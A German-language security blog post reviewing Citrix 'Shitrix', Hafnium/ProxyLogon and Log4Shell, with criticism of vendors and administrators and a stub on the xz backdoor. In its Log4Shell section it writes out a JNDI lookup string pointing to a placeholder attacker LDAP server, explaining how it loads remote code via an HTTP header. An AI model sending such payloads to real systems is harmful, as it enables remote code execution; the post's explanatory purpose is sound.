“Shit, Citrix!” wird wohl der ursprüngliche Ausruf gewesen sein. Zu “Shitrix” ist es da nur noch ein nachvollziehbarer Katzensprung. Ende 2019 fiel ein Netscaler (oder ADC) der Firma Citrix nach dem anderen um, da sie eine RCE-Schwachstelle (Remote Code Execution) aufwiesen, die sich trivial durch Angreifer ausnutzen ließ. Die Folge war, dass nicht nur die Netscaler in fremder Hand waren, sondern auch Zugangsdaten zu internen Systemen dabei abhanden kommen oder gar direkt Angriffe auf interne Infrastruktur gefahren werden konnte.

Altbekannter Angriffsweg, neu implementiert

Die Netscaler hatten im Web-Management-Interface zwei Schwachstellen, die den Zugriff auf eigentlich nicht zugänglichen Dateien im Dateisystem des Servers zuließen. Es handelte sich zum einen um eine sogenannte “Directory Traversal”-Lücke, mit der sich ein Angreifer Schritt für Schritt die Ordner im Dateisystem nach oben springen und von dort auf weitere Dateien zugreifen kann. Über diese Lücke konnte ein Angreifer direkt auf bestimmte Perl-Dateien zugreifen. In einer von diesen Dateien schlummerte eine weitere Sicherheitslücke, die es dem Angreifer erlaubte, eine weitere Datei zu erstellen, deren Inhalte teilweise unter der Kontrolle des Angreifers waren. Kopierte man diese Datei schließlich in eins der Perl Template-Verzeichnisse, wurde darin platzierter Code direkt im Kontext des Perl-Interpreters ausgeführt, was root-Zugriff auf die Maschine ermöglichte. Da hierfür keinerlei Anmeldung am System notwendig war, schossen sich bereits nach kürzester Zeit Angreifer auf diese Schwachstelle ein.

Directory Traversal-Schwachstellen sind lange bekannt und sollten eigentlich jedem Programmierer bekannt sein. Ab und zu schleichen sie sich dennoch in den Quellcode ein und erfreuen Angreifer von nah und fern. In Kombination mit einer Schwachstelle, die das Schreiben von Dateien erlaubt, sind sie eine Garantie für jede Menge Chaos.

Netscaler müde, Netscaler schlafen…

Für einmal kompromittierte Netscaler gab es eigentlich nur die Option des Gnadenschusses. Nachzuvollziehen, was auf dem betroffenen System im Detail durch die Angreifenden verändert wurde, erforderte eine zeitaufwändige forensische Untersuchung, und selbst diese konnte oft keinen Aufschluss darüber geben, ob eine verfügbare Verbindung ins interne Netzwerk ausgenutzt wurde oder ob Zugangsdaten, beispielsweise zum Active Directory, abgeflossen sind. Es stellte sich heraus, dass die Suche auf dem Domain Controller und anderen Systemen erfolgsversprechender war als auf dem Netscaler selbst. Dieser wurde oft erst für eine eventuelle spätere Untersuchung weggesichert und dann neu aufgesetzt - eine andere Möglichkeit, für einen sauberen Betrieb ohne Hintertüren auf dem Gerät selbst zu sorgen, gab es nicht.

Um die frisch installierten Netscaler nicht direkt wieder den Angreifern zu überlassen (Citrix ließ sich bis zum 21.01.2020 Zeit mit der Bereitstellung), mussten die Administratoren der knapp 40.000 betroffenen und mit im Internet erreichbaren Webinterface konfigurierten Netscaler selbst tätig werden. Citrix veröffentlichte noch im Dezember eine Anleitung, wie man die Server bis zur Verfügbarkeit eines Patches absichern konnte. Doch wie sich herausstellte, setzten nur wenige Verantwortliche die entsprechenden Maßnahmen um. Etwa ab September 2020 begannen die Angreifer, die ein dreiviertel Jahr zuvor kompromittierten und nicht bereinigten Systeme anzugreifen. Deutschlandweit waren zu diesem Zeitpunkt noch gut 200 ungepatchte Systeme online. Danach zu urteilen, wie viele Hilfsanfragen von Administratoren mit gepatchten, aber bereits zuvor mit einer Backdoor versehenen und nun nachträglich angegriffenen Systemen allein uns erreichten, war die Anzahl der unentdeckten Kompromittierungen um ein vielfaches höher.

Und es waren nicht kleine KMUs, die da wie die Fliegen gefallen sind (für die meisten dieser Unternehmen wäre ein Netscaler so oder so der Overkill gewesen). Das wohl prominenteste Beispiel war das Uniklinikum Düsseldorf, das nach der Folgeinfektion lange Zeit von der Notversorgung abgemeldet war (und dem bei der Umleitung an ein anderes Krankenhaus eine Patientin verstarb). Aber auch Behörden, Rettungsdienstleitstellen, weitere Krankenhäuser, Universitäten, Gemeindeverwaltungen, Landtage und viele Firmen.

Die Schuldfrage

Dass den Programmierern der Netscaler ein derartig vermeidbarer Fehler unterlief ist peinlich. Immerhin vertreibt Citrix mit diesen Geräten Sicherheitslösungen, die voraussetzen, dass die Programmierer wenigstens die Basics der sicheren Programmierung beherrschen und sich von den zahlreichen Tools unterstützen lassen, die derartige Fehler im Quellcode direkt entdecken. Dennoch hat Citrix nach Bekanntwerden der Shitrix-Sicherheitslücke immerhin schnell reagiert und Anleitungen zur Verfügung gestellt, um die Systeme erst einmal abzusichern und die Gefahr zu bannen.

Versagt haben hier tatsächlich hauptsächlich die meisten Administratoren, die entsprechende Geräte betrieben haben. Das Thema zu übersehen war nahezu unmöglich. In jeder Fachzeitschrift, in nahezu jeder Online-Redaktion für IT-Themen, sogar bei Fefe und natürlich in den Security Bulletins von Citrix selbst wurde es aufgegriffen. Also eigentlich das, was Administratoren sowieso jeden Tag konsumieren. Selbst die klassischen Medien griffen die Schwachstelle auf, nachdem Verwaltungen und Krankenhäuser aufgrund von Folgeangriffen gegen Ende des Jahres 2020 offline gingen.

Zeit genug also, das zu tun, was der Hersteller und viele Experten vorgaben: Auf Kompromittierung prüfen (das dauerte nur wenige Minuten), im Zweifel wegsichern, neu aufsetzen, updaten, absichern, Zugänge ändern, auf kompromittierte Infrastruktur prüfen. Arbeitsaufwändig, aber jede darin investierte Minute war es wert und ersparte einem das, was ansonsten zwangsläufig folgen musste. Leider drang diese Erkenntnis zu vielen erst durch, als es deutlich zu spät war.

xz-Backdoor (WIP)

Vor kurzem durfte ich auf dem HiSolutions Research Blog meinen Artikel zu besagter Backdoor veröffentlichen, den ich mit meinem Kollegen Justus gemeinsam verfasst habe. Bitte schaut vorerst dort vorbei, während ich hier eine kurze Zusammenfassung und meine persönlichen Gedanken aufgeschrieben habe.

Hafnium

₇₂Hf - was bitte?

Hafnium, ist das nicht ein Übergangsmetall mit der Ordnungszahl 72? Korrekt, aber um dieses schöne Element geht es ausnahmsweise nicht, sondern um eine Schwachstelle und übergreifendes Versagen sowohl bei Microsoft als auch bei vielen Firmen weltweit, die Administratoren und IT-Sicherheitsfachleute Anfang 2021 für einige Monate in Atem hielt. Doch der Reihe nach!

Chronik des Versagens

Am 03.03.2021 veröffentlichte Microsoft ein Sicherheitsupdate, das eine Handvoll Schwachstellen im hauseigenen Mailserver Exchange schlossen. Administratoren und Kenner der Microsoft-Updatestrategie werden hier schon aufhorchen, weicht doch der Termin stark von den sonst Mitte des Monats stattfindenden Regelupdates ab. Solche Abweichungen sind selten und haben meist gewichtige Gründe, die ein schnelles Handeln der Betreiber von Microsoft-Servern erfordert.

So war es auch hier. Während Microsoft anfangs den Schweregrad der behobenen Sicherheitslücken noch herunterspielte, rief das Bundesamt für Sicherheit in der Informationstechnik (BSI) relativ schnell die Alarmstufe Rot aus. Doch was war eigentlich geschehen und wie konnte es im Laufe der folgenden Tage und Wochen zu einem weltweiten Chaos kommen?

Wir gehen ein paar Monate zurück ins Jahr 2020, wo Mitte Dezember Sicherheitsforscher des Taiwanesischen Unternehmens Devcore eine Schwachstelle in Exchange fanden, die sie ProxyLogon nannten. Mit dieser konnten sie die Anmeldung am Server aushebeln und sich mit administrativen Rechten auf dem Exchange bewegen. Im Rahmen der Untersuchung dieser Thematik entdeckten sie eine weitere Schwachstelle, mittels derer sich Schadprogramme direkt auf dem Exchange ausführen ließen. Für einen Administratoren ist so etwas normalerweise der worst case, da sich das System damit komplett in Angreiferhand befinden kann. Devcore jedenfalls tat das einzig Richtige (meiner Meinung nach, jedenfalls), baute einen sogenannten proof of concept, also eine lauffähige Demonstration des Angriffspfades, und schickte diesen am 05.01.2021 an Microsoft. damit die Sicherheitslücke gestopft werden konnte.

Microsoft bestätigte die Schwachstelle auch innerhalb weniger Tage und reagierte darüber hinaus innerhalb weniger Wochen… nicht. Bis Anfang Februar 2021 stand kein Sicherheitsupdate bereit, Microsoft vertröstete die Sicherheitsforscher auf den 09.03.2021, also den nächsten Patch Day, nachdem der letzte ohne Bugfix verstrichen war. Kurzfristig wurde die Veröffentlichung schließlich auf den 03.03.2021 vorgelegt. Die Sicherheitslücke war zu diesem Zeitpunkt bereits seit drei Monaten bekannt.

Man könnte meinen, dass damit alles gut sei, die Sicherheitslücke war gepatcht, wenn auch spät, und alle sind mit einem blauen Auge davon gekommen. Doch weit gefehlt!

And so it begins

Bereits Anfang Januar 2021 beobachtete die Sicherheitsfirma Volexity, dass Exchange-Server über eine bis dahin unbekannte Sicherheitslücke angegriffen wurden. Es handelte sich um die bereits einige Tage vorher auch von Devcore entdeckte Schwachstelle. Ende Januar meldeten Sicherheitsforscher der Firmen Dubex und Trend Micro die ersten beobachteten Angriffe auf Exchange-Server und berichteten von installierten Webshells, also von den Angreifern abgelegten Scripten für einen persistenten Zugang zu den kompromittierten Servern. Auch Volexity meldete separat die Schwachstelle Anfang Februar 2021 an Microsoft. Spätestens ab diesem Zeitpunkt wusste der Hersteller also nachweisbar von der Schwachstelle und deren Ausnutzung, wobei man sich die Frage stellen darf, ob (und wenn nicht: wieso) die hauseigenen Lösungen wie z.B. Microsoft Defender for Endpoint die Angriffe nicht schon ab Anfang Januar nach Redmont gemeldet haben. Sicher, nicht jeder hat dieses kostenpflichtige Zusatzpaket auf seinen Systemen installiert, aber dass kein einziger der Betroffenen es im Einsatz gehabt haben soll? Unwahrscheinlich.

Wieder geschah einen Monat lang nichts. Ende Februar geschah dann doch etwas, aber nicht das, was sich viele Windows-Administratoren mit Sicherheit gewünscht hätten. Es kam kein Notfallupdate seitens Microsoft, sondern ein breit angelegter Massenscan, die die weitestgehend schutzlos im Internet stehenden Exchange-Server identifizierte (merke: Nicht infizierte, das beschränkte sich noch auf wenige Systeme). Knapp eine Woche später veröffentlichte Microsoft das ersehnte Update, doch die Angreifer reagierten schnell. Nur wenige Stunden, nachdem das außerplanmäßige Notfall-Update freigegeben wurde, setzte eine Angriffswelle ein, die die bis dahin als verwundbar identifizierten Exchange-Server überrollte. Die wenigsten Administratoren hatten zwischen Veröffentlichung des Patches und dem Start des Angriffs Zeit, die Patches einzuspielen. Viele mögen die Veröffentlichung auch gar nicht auf dem Plan gehabt haben, da sie außerplanmäßig erfolgte.

Aber auch die, die es rechtzeitig schafften, den Patch einzuspielen, waren unter Umständen nicht aus dem Schneider: Der Patch schloss die Lücke unter bestimmten Umständen nur unvollständig und so blieben auch viele gepatchte Systeme verwundbar. Einige Systeme ließen die Installation des Patches gar nicht erst zu, da sie einige dafür benötigte Updates nicht installiert hatten - eine Abhängigkeit, die Microsoft wieder erst Tage später, am 09.03.2021 entfernte und so die Installation des Patches auch auf Systemen mit älterem Updatestand zuließ.

Was folgte waren die wohl turbulentesten Wochen und Monate in der IT-Welt des Jahres 2021. Auch heute, Jahre später, verziehen viele Systemverantwortliche das Gesicht, wenn sie das Wort “Hafnium” hören. Hunderttausende Server weltweit waren kompromittiert, alleine in Deutschland dürften es zehntausende gewesen sein. IT- und Krisendienstleister unterstützten die Administratoren mit Rat und Tat sowie mit täglich aktualisierten Informationen und Leitfäden, um eine Kompromittierung der Server erkennen udn beseitigen zu können. Gerade diese Dienstleister kamen während der ersten Jahreshälfte an ihre personellen Grenzen, um die Flut der Anfragen abfangen zu können.

Aftermath & lessons learned

Kurioserweise sorgte vermutlich alleine die Masse der infizierten Systeme dafür, dass viele Unternehmen keinen langfristigen Schaden davon getragen haben. Die Angreifer konnten nicht gleichzeitig eine sechs- bis siebenstellige Anzahl von Servern übernehmen und beließen es in vielen Fällen vorerst dabei, die für sie uninteressanten Systeme nur mit einer Backdoor zu versehen und sich auf die Ziele zu konzentrieren, bei denen sie fette Beute erwarteten. Das verschaffte den anderen Unternehmen Zeit, die Systeme zu überprüfen, zu bereinigen oder neu aufzusetzen.

Am Ende bleibt ein bitterer Nachgeschmack und die Frage, wer die Hauptschuld an diesem Desaster trägt. Sicherheitsforscher und auf IT-Sicherheit spezialisierte Firmen wie Devcore, Volexity, Dubex, Trend Micro und viele andere, die die Schwachstellen schnell und mit allen nötigen Informationen an Microsoft gemeldet hatten, haben sich vorbildlich verhalten. Microsoft verschlief die Bereitstellung eines Patches für mehrere Monate und schaffte es zudem nicht einmal, mit dem ersten Patch die Sicherheitslücke komplett zu schließen, geschweige denn den Patch so auszuliefern, dass er auch auf Systemen mit Patchrückstand installiert werden konnte. Auch die anfängliche Verharmlosung der Thematik, obwohl bei Microsoft längst das Ausmaß der Angriffe bekannt gewesen sein dürfte, führte dazu, dass Administratoren die Bedrohung nicht ernst nahmen.

Doch nur mit dem Finger auf Microsoft zu zeigen wäre zu einfach, denn auch schlecht gewartete Server auf Kundenseite sowie die teilweise komplett fehlende oder nicht ausreichende Absicherung der Systeme, die oft direkt aus dem Internet erreichbar waren, erleichterte den Angreifern den Angriff enorm. Hier taten sich häufig dieselben Abgründe wie bei nahezu jedem Sicherheitsvorfall auf, bei dem schlecht gewartete Systeme eine Rolle spielten: Schlecht ausgebildete Administratoren, fehlende Sicherheitsinfrastruktur, keine Überwachung der Systeme auf Anomalien. Und wie so häufig waren die Gründe: Kein Geld, keine Zeit, kein Personal. Ein deutlicher Weckruf für die Entscheider in allen Unternehmen: IT-Sicherheit richtig zu machen kostet Geld, aber nicht so viel, wie ein großer Vorfall kostet.

Log4Shell

Systemzugriff über verschlungene Pfade

Wie schon erwähnt war 2021 ein turbulentes Jahr. Kaum hatte sich die IT-Welt ein wenig von Hafnium erholt, platzte die nächste Sicherheitslücke herein, die das Potenzial hatte, größten Schaden anzurichten. Sie wurde unter dem Namen Log4Shell bekannt und der Name lässt Böses erahnen. Kurz gesagt ermöglichte sie die Ausführung von Befehlen auf Systemen, die nicht einmal direkt erreichbar sein mussten. Ein vermeintlich harmlos aussehender Aufruf eines Webservices genügte oft.

Tag 0

Log4Shell war eine sogenannte Zero-Day-Schwachstelle (0-day), also eine Schwachstelle, die bekannt wurde, bevor sie gepatcht werden konnte. Sie wurde am 24.11.2021 von dem Security Team von “Alibaba Cloud”, einer Tochterfirma des chinesischen Konzerns Alibaba, entdeckt und an Apache, die für log4j verantwortliche Organisation, gemeldet. Zwei Wochen später, am 09.12.2021, veröffentlichte der Nutzer tangxiaofeng7 auf Github einen PoC (Proof of Concept, ein lauffähiges Programm, um die Existenz der Schwachstelle zu belegen). Dass Schwachstellen veröffentlicht werden, bevor sie behoben wurden, wird in der IT Security-Community mindestens als schlechter Stil und in der Regel als Verstoß gegen diverse Verhaltensregeln wahrgenommen. Kommt es trotzdem zu einer 0-day Veröffentlichung, ist schnelles Handeln angesagt. Das war bei Log4Shell ganz besonders wichtig, denn betroffen war die log4j-Bibliothek, die in zahllosen Java-Programmen zum Einsatz kommt - von IoT-Geräten bis zu Anwendungsservern.

Aufgefallen war die Schwachstelle übrigens im Spiel Minecraft. Ein Spieler hatte herausgefunden, dass er mit speziell formatierten Strings im Spielerchat den Server veranlassen konnte, untergeschobenen Code auf dem System des Betreibenden auszuführen.

Die Log4Shell-Anatomie

Die Sicherheitslücke selbst ist im Grunde schnell beschrieben: Die log4j-Bibliothek hatte in allen Versionen zwischen 2013 und 2021 einen bis dato unentdeckten Fehler in der Validierung von Zeichenketten, die in eine Logdatei geschrieben werden sollen. Dies erlaubte es, spezielle Zeichenketten in die Anfrage einzuschleusen, die von log4j nicht literal - also unverändert - ausgegeben werden, sondern vorher als Befehlssequenz interpretiert werden.

Im Fall von log4shell konnte in die Logmeldung ein JNDI-String eingebettet werden. JNDI (Java Naming and Directory Interface) ist eine Java-Komponente, die es erlaubt, andere Quellen (wie LDAP) abzufragen und die Antwort als Java-Objekt einzubetten. Gedacht ist diese Erweiterung, um beispielsweise inline sperrige System-Benutzerkontennamen wie “FS1337” in lesbare Namen wie “Folker Schmidt” umzuwandeln, ohne dafür jedes mal eigene Routinen schreiben zu müssen. Man lädt sie einfach nach. Ein Bequemlichkeits-Feature, das meiner Erfahrung nach selten und vor allem im Logging-Umfeld (für das log4j verwendet wird) so gut wie gar nicht zum Einsatz kommt. Doch irgendjemand hatte vor vielen Jahren entschlossen, dass dieses Feature in log4j seinen Platz hat (zum Beispiel, um das Logging on the fly anzupassen, ohne den Quellcode von log4j direkt anpassen zu müssen) und es implementiert.

Nun hatte nur niemand daran gedacht, dass jemand auf die Idee kommen konnte, einen entsprechend formatierten JNDI-String an Stellen zu platzieren, die üblicherweise auch in Logdateien weggeschrieben werden. Zum Beispiel in einem HTTP-Header. Es hatten auch die wenigsten Administratoren daran gedacht, die Server, auf denen die Java-Anwendungen und damit auch die log4j-Komponente laufen, so abzusichern, dass Aufrufe zu LDAP-Servern verboten sind, die sich außerhalb des eigenen Netzwerks befinden.

JNDI nach Hause telefonieren!

Bettete nun ein Angreifer etwas wie {$jndi:ldap://angreiferserver:389/schadcode} in einen HTTP-Header ein und schickte eine Anfrage an einen verwundbaren Webserver, interpretierte der den JNDI-String als Aufforderung, sich auf den angegebenen Server zu verbinden und den String mit dem zurückgegebenen Resultat zu ersetzen. Wer auf dem entsprechenden Server als Antwort eine .class-Datei hinterlegt hat, konnte in dieser nahezu beliebigen Schadcode platzieren, der dann im Kontext des Java-Programms ausgeführt wurde. Es war weder eine Anmeldung am verwundbaren System notwendig, noch weitere Maßnahmen: Wer sich eine Backdoor in die Datei geschrieben hatte, konnte das System dazu bringen, einen direkten Zugriff auf eine Shell zu gewähren. Eine erstklassige unauthenticated RCE (Remote Code Execution). Und da viele Tools der Bequemlichkeit halber (und um einfach an Schreibrechte für Logverzeichnisse zu kommen) als root/Administrator laufen, hatte man oft direkt vollen Systemzugriff.

Das gleichzeitig Spannende und auch Beängstigende an dieser Sicherheitslücke ist, dass nicht nur direkt aus dem Internet erreichbare Systeme betroffen sein konnten. Hatte man beispielsweise einen Webserver in der DMZ stehen, der seine Logdateien erst einmal lokal wegschrieb, und im internen Netzwerk einen Logging-Server auf Java-Basis, der diese dann einsammelte und auswertete, konnten die vergifteten Log-Einträge auch problemlos Systeme hinter etablierten Sicherheitsbarrieren erreichen. Vom Auskundschaften interner Netze über Manipulation von Daten (oder gar dem Ausrollen von Ransomware) bis hin zum Abfluss geschützter Daten war alles denkbar.

Viele Betroffene, wenig Auswirkung?

Bis auf ein paar bekannt gewordene Fälle (so wurden das Belgische Verteidigungsministerium und die Webseite des Bundesfinanzhofs auf diese Weise angegriffen, zudem liefen auf einigen Servern kurzzeitig fremdkontrollierte Krypto-Miner) geschah bis zur Verfügbarkeit der Patches ab dem 10.12.2021 eher wenig. Betroffen waren unter anderem viele der bekannten Cloud-Anbieter, die jedoch bereits vor der Verfügbarkeit der Patches in Eigenregie ihre Systeme so abdichteten, dass die Sicherheitslücke nicht ausgenutzt werden konnte. Auch einige andere Tech-Giganten beeilten sich, ihre Systeme abzusichern, bis wirksame Patches verfügbar waren.

Doch hunderttausende Systeme blieben weiterhin verwundbar. Gerade IoT-Geräte, die gerne auch mal offen im Internet erreichbar sind und nur selten oder gar nicht mit neuer Software betankt werden, blieben betroffen. Hierzu zählen unter anderem viele “smarte” Geräte wie Smart-TVs, Smarthome- und Industriesteuerungssysteme. Hinzu kommt, dass log4j von den Softwareanbietern selbst auf eine fehlerbereinigte Version aktualisiert und erneut in ihre Projekte eingebunden werden muss. Endanwender und selbst Administratoren haben in der Regel nur wenig Möglichkeiten, ihre Java-Anwendungen selbstständig auf einen aktuellen Stand zu patchen. Hinzu kommt, dass gerade bei embedded und IoT-Geräten kaum eine Möglichkeit besteht, sich zu vergewissern, dass auf dem System nichts verändert und ein Angreifer sich nicht für einen möglichen späteren Zeitpunkt eine Hintertür eingerichtet hat. Und mit “später” meine ich ggf. Jahre, nicht Wochen.

Dunkelziffern und schlafender Code

Wie viele Systeme heute noch verwundbar sind lässt sich schwer sagen. Von aktuell verfügbarer Software, die log4j einsetzt, ist auch heute (Stand Ende 2023) noch gut ein Drittel verwundbar, da die entsprechenden Bibliotheken nicht auf den neuesten Stand gebracht wurden. Der Großteil dieser Software setzt dabei die Version 1.2.x von log4j ein, die bereits 2015 ihr letztes Update erhalten hat und damit inzwischen bald 10 Jahre EOL (end of life) ist. Die Entwickler scheint’s derweil nicht zu stören.

Und auch wie viele Systeme still vor sich hinschlummern, die infiziert wurden, bevor sie einen Patch (wenn überhaupt) erhielten, ist unbekannt. Viele Experten gingen zu Log4Shell-Hochzeiten davon aus, dass nach einigen Monaten Ruhe viele Auffälligkeiten zutage treten dürften, die auf reaktivierte Systeme zurückzuführen sind. Bisher ist davon nichts, zumindest nichts, was öffentlich bekannt geworden wäre. Doch wenn man sich die Zeit anschaut, die sich einige Kriminelle nehmen, möchte ich an dieser Stelle nicht ausschließen, dass uns in Zukunft noch die eine oder andere Überraschung mit Bezug auf Log4Shell erwartet.